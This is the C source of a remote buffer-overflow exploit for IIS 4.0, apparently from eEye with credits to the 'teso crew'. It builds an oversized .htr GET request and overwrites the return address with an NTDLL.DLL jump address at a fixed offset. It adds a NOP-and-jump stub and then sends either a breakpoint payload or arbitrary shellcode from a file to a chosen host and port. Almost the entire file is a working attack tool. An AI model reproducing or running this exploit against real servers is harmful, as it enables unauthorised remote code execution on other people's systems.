/* iis 4.0 exploit * by eeye security * * gcc -o tesoiis tesoiis.c -Wall */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include int net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, char *sourceip, unsigned short int sourceport, int sec); void net_write (int fd, const char *str, ...); unsigned long int net_resolve (char *host); void usage (void) { printf ("usage: ./syn host port [file]\n"); exit (EXIT_FAILURE); } int main (int argc, char *argv[]) { /* yadda,yadda.. you can try exploiting our exploit!! * update: hmm.. is this exploitable? gets EIP touched by exit()? * gotta check this later... */ char host[256], url[256]; int port,sd,t = 0; int m=0,i = 0; char *cc, *pfft; struct sockaddr_in cs; char theSploit[4096]; char kick = 'z'; //0x7a char place = 'A'; printf ("teso crew IIS exploit.. shellcode by eEye.\n"); printf ("------------------------------------------\n"); if (argc < 3) usage(); strcpy (host, argv[1]); if (argc > 3) strcpy (url, argv[3]); port = atoi (argv[2]); if ((port < 1) || (port > 65535)) usage(); for(i=0;i<4096;i+=4) { theSploit[i] = kick; theSploit[i+1] = place; theSploit[i+2] = place + 1; theSploit[i+3] = place + 2; if(++place == 'Y') // beyond 'XYZ' { place = 'A'; if(--kick < 'a') kick = 'a'; } } theSploit[0]='G'; theSploit[1]='E'; theSploit[2]='T'; theSploit[3]=' '; theSploit[4]='/'; theSploit[3005]='B'; theSploit[3006]='B'; theSploit[3007]='B'; theSploit[3008]='B'; theSploit[3009]='.'; theSploit[3010]='h'; theSploit[3011]='t'; theSploit[3012]='r'; theSploit[3013]=' '; theSploit[3014]='H'; theSploit[3015]='T'; theSploit[3016]='T'; theSploit[3017]='P'; theSploit[3018]='/'; theSploit[3019]='1'; theSploit[3020]='.'; theSploit[3021]='0'; theSploit[3022]='\r'; theSploit[3023]='\n'; theSploit[3024]='\r'; theSploit[3025]='\n'; theSploit[3026]='\0'; // after crash, looks like inetinfo.exe is jumping to // the address stored @ location 'GHtG' (0x47744847) // cross reference back to the buffer pattern, looks // like we need to store our EIP into theSploit[598] // magic eip into NTDLL.DLL //theSploit[598] = (char)0xF0; //theSploit[599] = (char)0x8C; //theSploit[600] = (char)0xF8; //theSploit[601] = (char)0x77; theSploit[598] = (char)0xB1; theSploit[599] = (char)0x1F; theSploit[600] = (char)0xF6; theSploit[601] = (char)0x77; // code I want to execute will jump foward over the // embedded eip, taking us directly to the payload theSploit[594] = (char)0x90; //nop theSploit[595] = (char)0xEB; //jmp theSploit[596] = (char)0x35; // theSploit[597] = (char)0x90; //nop // the payload. This code is executed remotely. if // no payload is supplied on stdin, then this default // payload is used. int 3 is the debug interrupt and // will cause your debugger to "breakpoint" // gracefully. // upon examiniation you will find that you are // sitting directly in this code-payload. if(argc < 4) { theSploit[650] = (char) 0x90; //nop theSploit[651] = (char) 0x90; //nop theSploit[652] = (char) 0x90; //nop theSploit[653] = (char) 0x90; //nop theSploit[654] = (char) 0xCC; //int 3 theSploit[655] = (char) 0xCC; //int 3 theSploit[656] = (char) 0xCC; //int 3 theSploit[657] = (char) 0xCC; //int 3 theSploit[658] = (char) 0x90; //nop theSploit[659] = (char) 0x90; //nop theSploit[660] = (char) 0x90; //nop theSploit[661] = (char) 0x90; //nop } else { // send the user-supplied payload from // a file. Yes, that's a 2K buffer for // mobile code. Yes, that's big. FILE *in_file; in_file = fopen(argv[3], "r"); if(in_file) { int offset = 650; while( (!feof(in_file)) && (offset < 3000)) { theSploit[offset++] = fgetc(in_file); } fclose(in_file); } } printf ("Host: %s Port: %d Url: %s\n", host, port, url); printf ("Connecting... "); fflush (stdout); sd = net_connect (&cs, host, port, NULL, 0, 30); if (sd < 1) { printf ("failed!\n"); exit (EXIT_FAILURE); } printf ("done.. sending shellcode..\n"); fflush (stdout); printf("Number of characters send: %d\n", send (sd, (char *)theSploit, 3026, 0)); printf ("done.. closing fd!\n"); close (sd); printf ("%s\n", theSploit); exit (EXIT_SUCCESS); } int net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, char *sourceip, unsigned short int sourceport, int sec) { int n, len, error, flags; int fd; struct timeval tv; fd_set rset, wset; /* first allocate a socket */ cs->sin_family = AF_INET; cs->sin_port = htons (port); fd = socket (cs->sin_family, SOCK_STREAM, 0); if (fd == -1) return (-1); if (!(cs->sin_addr.s_addr = net_resolve (server))) { close (fd); return (-1); } flags = fcntl (fd, F_GETFL, 0); if (flags == -1) { close (fd); return (-1); } n = fcntl (fd, F_SETFL, flags | O_NONBLOCK); if (n == -1) { close (fd); return (-1); } error = 0; n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in)); if (n < 0) { if (errno != EINPROGRESS) { close (fd); return (-1); } } if (n == 0) goto done; FD_ZERO(&rset); FD_ZERO(&wset); FD_SET(fd, &rset); FD_SET(fd, &wset); tv.tv_sec = sec; tv.tv_usec = 0; n = select(fd + 1, &rset, &wset, NULL, &tv); if (n == 0) { close(fd); errno = ETIMEDOUT; return (-1); } if (n == -1) return (-1); if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) { if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) { len = sizeof(error); if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) { errno = ETIMEDOUT; return (-1); } if (error == 0) { goto done; } else { errno = error; return (-1); } } } else return (-1); done: n = fcntl(fd, F_SETFL, flags); if (n == -1) return (-1); return (fd); } unsigned long int net_resolve (char *host) { long i; struct hostent *he; i = inet_addr(host); if (i == -1) { he = gethostbyname(host); if (he == NULL) { return (0); } else { return (*(unsigned long *) he->h_addr); } } return (i); } void net_write (int fd, const char *str, ...) { char tmp[8192]; va_list vl; int i; va_start(vl, str); memset(tmp, 0, sizeof(tmp)); i = vsnprintf(tmp, sizeof(tmp), str, vl); va_end(vl); send(fd, tmp, i, 0); return; }